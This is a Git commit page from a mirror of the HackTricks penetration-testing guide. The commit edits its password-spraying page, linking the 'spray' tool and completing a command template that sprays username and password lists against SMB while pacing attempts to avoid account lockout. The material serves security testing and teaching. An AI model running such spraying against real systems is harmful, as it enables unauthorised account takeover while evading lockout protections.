1
2
Fork 0
mirror of https://github.com/carlospolop/hacktricks.git synced 2023-12-14 19:12:55 +01:00

Update password-spraying.md

The syntax to using "spray" wasn't completed, so I added the rest of the syntax for it to be complete. Also added an href to "spray" for the user accessibility just as kerbrute, Rubeus, and Invoke-DomainPasswordSpray are an href.
This commit is contained in:
Lazy P0rtz 2021-02-02 22:22:58 -08:00 committed by GitHub
parent fde26373fb
commit 24a565c53b
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -67,11 +67,10 @@ or **spray** \(read next section\).
The best way is not to try with more than 5/7 passwords per account.
So you have to be very careful with password spraying because you could lockout accounts. To brute force taking this into mind, you can use _**spray:**_
So you have to be very careful with password spraying because you could lockout accounts. To brute force taking this into mind, you can use _**[spray](https://github.com/Greenwolf/Spray):**_
```bash
apt-get install spray
spray -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPe
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
## Outlook Web Access